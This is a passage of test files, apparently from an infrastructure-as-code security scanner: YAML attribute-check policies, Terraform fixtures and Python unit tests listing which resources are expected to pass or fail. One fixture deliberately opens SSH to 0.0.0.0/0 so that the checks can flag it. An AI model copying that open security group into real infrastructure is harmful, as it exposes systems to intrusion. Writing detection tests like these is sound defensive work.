TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestIsTrue(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestIsTrue, self).setUp() def test_is_true(self): root_folder = '../../../resources/boolean_test' check_id = "TrueValue" should_pass = ['azurerm_storage_account.fail1', 'azurerm_storage_account.fail2', 'azurerm_storage_account.fail3'] should_fail = ['azurerm_storage_account.pass1', 'azurerm_storage_account.pass2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} super(TestIsTrue, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_is_false(self): root_folder = '../../../resources/lb' check_id = "FalseValue" should_pass = [] should_fail = ['aws_lb.lb_bad_1'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} super(TestIsTrue, self).run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/AzureSecureRule.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "AzureSecureRule" scope: provider: "AZURE" definition: cond_type: "attribute" resource_types: - "azurerm_network_security_group" attribute: "security_rule[?(@.name == 'rule_we_care_about')].source_address_prefixes[*]" operator: "jsonpath_equals" value: "allowed_ip" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/CkSshPortOpenForAll.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "CkSshPortOpenForAll" scope: provider: "AWS" definition: and: - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress[?(@.to_port == 22 & @.from_port == 22)].cidr_blocks[*]" operator: "jsonpath_equals" value: 0.0.0.0/0 - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress[?(@.to_port == 443 & @.from_port == 443)].cidr_blocks[?(@ == '8.0.4.19/92')]" operator: "jsonpath_equals" value: 8.0.4.19/92 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/EcsWithMerge.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "CUSTOM_003" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_ecs_task_definition" attribute: "container_definitions.*.image" operator: "equals" value: "service-first" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/PublicDBSG.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicDBSG" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_db_security_group" attribute: "ingress.cidr" operator: "jsonpath_equals" value: "10.0.0.0/24" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/example.tf ================================================ resource "aws_security_group" "web-node" { # security group is open to the world in SSH port ingress { from_port = 22 to_port = 22 protocol = "tcp" cidr_blocks = [ "0.0.0.0/0" ] } } ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestJsonpathEqualsSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super().setUp() def test_jsonpath_equals_solver_simple(self): root_folder = '../../../resources/public_security_groups' check_id = "PublicDBSG" should_pass = ['aws_db_security_group.aws_db_security_group_private'] should_fail = ['aws_db_security_group.aws_db_security_group_public'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_jsonpath_equals_solver_wildcard(self): root_folder = '../../../resources/security_group_multiple_rules3' check_id = "CkSshPortOpenForAll" should_pass = ['aws_security_group.sg1'] should_fail = ['aws_security_group.sg2', 'aws_security_group.sg3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_jsonpath_equals_azure_rule(self): root_folder = '../../../resources/azure_secure_rule' check_id = "AzureSecureRule" should_pass = ['azurerm_network_security_group.sg_fail'] should_fail = ['azurerm_network_security_group.sg_fail2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_jsonpath_equals_ecs_with_merge(self): root_folder = '../../../resources/ecs_with_merge' check_id = "CUSTOM_003" should_pass = ['aws_ecs_task_definition.service01'] should_fail = ['aws_ecs_task_definition.service02'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/AzureSecureRule.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "AzureSecureRule" scope: provider: "AZURE" definition: cond_type: "attribute" resource_types: - "azurerm_resource_group" - "azurerm_network_security_group" attribute: "security_rule[?(@.name == 'rule_we_do not_care_about')].source_address_prefixes" operator: "jsonpath_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/CkSshPortOpenForAll.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "CkSshPortOpenForAll" scope: provider: "AWS" definition: and: - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress[?(@.to_port == 22 & @.from_port == 22)].cidr_blocks[*]" operator: "jsonpath_exists" - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress[?(@.to_port == 443 & @.from_port == 443)].cidr_blocks[?(@ == '8.0.4.19/92')]" operator: "jsonpath_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/PublicDBSG.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicDBSG" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_db_security_group" - "aws_security_group" attribute: "ingress.cidr_blocks" operator: "jsonpath_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/example.tf ================================================ resource "xyz" "pass" { arr { name = "a" value = "a" } arr { name = "b" value = "x" } } resource "xyz" "fail" { arr { name = "b" value = "x" } } ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/example.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "example" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "xyz" attribute: "arr[?(@.name == 'a')]" operator: "jsonpath_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestJsonpathExistsSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super().setUp() def test_jsonpath_exists_solver_simple(self): root_folder = '../../../resources/public_security_groups' check_id = "PublicDBSG" should_pass = ['aws_security_group.aws_security_group_private'] should_fail = ['aws_db_security_group.aws_db_security_group_public'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_jsonpath_exists_solver_wildcard(self): root_folder = '../../../resources/security_group_multiple_rules3' check_id = "CkSshPortOpenForAll" should_pass = ['aws_security_group.sg1'] should_fail = ['aws_security_group.sg2', 'aws_security_group.sg3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_jsonpath_exists_azure_rule(self): root_folder = '../../../resources/azure_secure_rule' check_id = "AzureSecureRule" should_pass = ['azurerm_network_security_group.sg_fail'] should_fail = ['azurerm_network_security_group.sg_fail2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_jsonpath_exists_example(self): root_folder = './' check_id = "example" should_pass = ['xyz.pass'] should_fail = ['xyz.fail'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_equals_solver/AzureSecureRule.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "AzureSecureRule" scope: provider: "AZURE" definition: cond_type: "attribute" resource_types: - "azurerm_network_security_group" attribute: "security_rule[?(@.name == 'rule_we_care_about')].source_address_prefixes[*]" operator: "jsonpath_not_equals" value: "allowed_ip" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_equals_solver/CkSshPortOpenForAll.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "CkSshPortOpenForAll" scope: provider: "AWS" definition: and: - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress[?(@.to_port == 22 & @.from_port == 22)].cidr_blocks[*]" operator: "jsonpath_not_equals" value: 0.0.0.0/0 - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress[?(@.to_port == 443 & @.from_port == 443)].cidr_blocks[?(@ == '8.0.4.19/92')]" operator: "jsonpath_not_equals" value: 8.0.4.19/92 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_equals_solver/PublicDBSG.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicDBSG" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_db_security_group" attribute: "ingress.cidr" operator: "jsonpath_not_equals" value: "10.0.0.0/24" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_equals_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_equals_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestJsonpathNotEqualsSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super().setUp() def test_jsonpath_not_equals_solver_simple(self): root_folder = '../../../resources/public_security_groups' check_id = "PublicDBSG" should_fail = ['aws_db_security_group.aws_db_security_group_private'] should_pass = ['aws_db_security_group.aws_db_security_group_public'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_jsonpath_not_equals_solver_wildcard(self): root_folder = '../../../resources/security_group_multiple_rules3' check_id = "CkSshPortOpenForAll" should_fail = ['aws_security_group.sg1'] should_pass = ['aws_security_group.sg2', 'aws_security_group.sg3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_jsonpath_not_equals_azure_rule(self): root_folder = '../../../resources/azure_secure_rule' check_id = "AzureSecureRule" should_fail = ['azurerm_network_security_group.sg_fail'] should_pass = ['azurerm_network_security_group.sg_fail2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/AzureSecureRule.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "AzureSecureRule" scope: provider: "AZURE" definition: cond_type: "attribute" resource_types: - "azurerm_resource_group" - "azurerm_network_security_group" attribute: "security_rule[?(@.name == 'rule_we_do not_care_about')].source_address_prefixes" operator: "jsonpath_not_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/CkSshPortOpenForAll.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "CkSshPortOpenForAll" scope: provider: "AWS" definition: and: - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress[?(@.to_port == 22 & @.from_port == 22)].cidr_blocks[*]" operator: "jsonpath_not_exists" - cond_type: "attribute" resource_types: - "aws_security_group" attribute: "ingress[?(@.to_port == 443 & @.from_port == 443)].cidr_blocks[?(@ == '8.0.4.19/92')]" operator: "jsonpath_not_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/PublicDBSG.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "PublicDBSG" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "aws_db_security_group" - "aws_security_group" attribute: "ingress.cidr_blocks" operator: "jsonpath_not_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/example.tf ================================================ resource "xyz" "fail" { arr { name = "a" value = "a" } arr { name = "b" value = "x" } } resource "xyz" "pass" { arr { name = "b" value = "x" } } ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/example.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "example" scope: provider: "AWS" definition: cond_type: "attribute" resource_types: - "xyz" attribute: "arr[?(@.name == 'a')]" operator: "jsonpath_not_exists" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestJsonpathNotExistsSolver(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super().setUp() def test_jsonpath_not_exists_solver_simple(self): root_folder = '../../../resources/public_security_groups' check_id = "PublicDBSG" should_fail = ['aws_security_group.aws_security_group_private'] should_pass = ['aws_db_security_group.aws_db_security_group_public'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_jsonpath_not_exists_solver_wildcard(self): root_folder = '../../../resources/security_group_multiple_rules3' check_id = "CkSshPortOpenForAll" should_fail = ['aws_security_group.sg1'] should_pass = ['aws_security_group.sg2', 'aws_security_group.sg3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_jsonpath_not_exists_azure_rule(self): root_folder = '../../../resources/azure_secure_rule' check_id = "AzureSecureRule" should_fail = ['azurerm_network_security_group.sg_fail'] should_pass = ['azurerm_network_security_group.sg_fail2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_jsonpath_not_exists_example(self): root_folder = './' check_id = "example" should_pass = ['xyz.pass'] should_fail = ['xyz.fail'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_equals_solver/ArrayLengthEquals.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "ArrayLengthEquals" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: egress.cidr_blocks operator: length_equals value: 2 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_equals_solver/DictLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "DictLengthEquals" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress operator: length_equals value: "2" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_equals_solver/StringLengthEquals.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "StringLengthEquals" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: description operator: length_equals value: "16" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_equals_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_equals_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestLengthEquals(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestLengthEquals, self).setUp() def test_array_length_equals(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "ArrayLengthEquals" should_pass = ['aws_security_group.sg1'] should_fail = ['aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_string_length_equals(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "StringLengthEquals" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.sg1'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_dict_length_equals(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "DictLengthEquals" should_pass = ['aws_security_group.sg3'] should_fail = ['aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_or_equal_solver/ArrayLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "ArrayLengthGreaterThanOrEqual" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: egress.cidr_blocks operator: length_greater_than_or_equal value: 2 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_or_equal_solver/DictLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "DictLengthGreaterThanOrEqual" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress operator: length_greater_than_or_equal value: "2" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_or_equal_solver/StringLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "StringLengthGreaterThanOrEqual" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: description operator: length_greater_than_or_equal value: "16" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_or_equal_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_or_equal_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestLengthGreaterThanOrEqual(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestLengthGreaterThanOrEqual, self).setUp() def test_array_length_greater_than_or_equal(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "ArrayLengthGreaterThanOrEqual" should_pass = ['aws_security_group.sg1'] should_fail = ['aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_string_length_greater_than_or_equal(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "StringLengthGreaterThanOrEqual" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.sg1'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_dict_length_greater_than_or_equal(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "DictLengthGreaterThanOrEqual" should_pass = ['aws_security_group.sg3'] should_fail = ['aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_solver/ArrayLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "ArrayLengthGreaterThan" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: egress.cidr_blocks operator: length_greater_than value: 1 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_solver/DictLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "DictLengthGreaterThan" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress operator: length_greater_than value: "2" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_solver/StringLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "StringLengthGreaterThan" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: description operator: length_greater_than value: "15" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestLengthGreaterThan(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestLengthGreaterThan, self).setUp() def test_array_length_greater_than(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "ArrayLengthGreaterThan" should_pass = ['aws_security_group.sg1'] should_fail = ['aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_string_length_greater_than(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "StringLengthGreaterThan" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.sg1'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_dict_length_greater_than(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "DictLengthGreaterThan" should_pass = ['aws_security_group.sg4'] should_fail = ['aws_security_group.sg3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_or_equal_solver/ArrayLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "ArrayLengthLessThanOrEqual" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: egress.cidr_blocks operator: length_less_than_or_equal value: 1 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_or_equal_solver/DictLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "DictLengthLessThanOrEqual" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress operator: length_less_than_or_equal value: "2" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_or_equal_solver/StringLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "StringLengthLessThanOrEqual" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: description operator: length_less_than_or_equal value: "15" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_or_equal_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_or_equal_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestLengthLessThanOrEqual(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestLengthLessThanOrEqual, self).setUp() def test_array_length_less_than_or_equal(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "ArrayLengthLessThanOrEqual" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.sg1'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_string_length_less_than_or_equal(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "StringLengthLessThanOrEqual" should_pass = ['aws_security_group.sg1'] should_fail = ['aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_dict_length_less_than_or_equal(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "DictLengthLessThanOrEqual" should_pass = ['aws_security_group.sg3'] should_fail = ['aws_security_group.sg4'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_solver/ArrayLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "ArrayLengthLessThan" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: egress.cidr_blocks operator: length_less_than value: 2 ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_solver/DictLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "DictLengthLessThan" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: ingress operator: length_less_than value: "2" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_solver/StringLength.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "StringLengthLessThan" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: description operator: length_less_than value: "16" ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_solver/__init__.py ================================================ ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_less_than_solver/test_solver.py ================================================ import os from parameterized import parameterized_class from tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS from tests.terraform.graph.checks_infra.test_base import TestBaseSolver TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) @parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS) class TestLengthLessThan(TestBaseSolver): def setUp(self): self.checks_dir = TEST_DIRNAME super(TestLengthLessThan, self).setUp() def test_array_length_less_than(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "ArrayLengthLessThan" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.sg1'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_string_length_less_than(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "StringLengthLessThan" should_pass = ['aws_security_group.sg1'] should_fail = ['aws_security_group.sg2'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) def test_dict_length_less_than(self): # this is just a basic check to make sure the operator works # we'll check all the other combinations more directly (because coming up with all the policy combos is painful) root_folder = '../../../resources/lengths' check_id = "DictLengthLessThan" should_pass = ['aws_security_group.sg2'] should_fail = ['aws_security_group.sg3'] expected_results = {check_id: {"should_pass": should_pass, "should_fail": should_fail}} self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id) ================================================ FILE: tests/terraform/graph/checks_infra/attribute_solvers/length_not_equals_solver/ArrayLengthNotEquals.yaml ================================================ metadata: name: "example" category: "GENERAL_SECURITY" id: "ArrayLengthNotEquals" definition: cond_type: "attribute" resource_types: - aws_security_group attribute: egress.cidr_blocks operator: length_not_equals value: 2 ================================================ FILE: 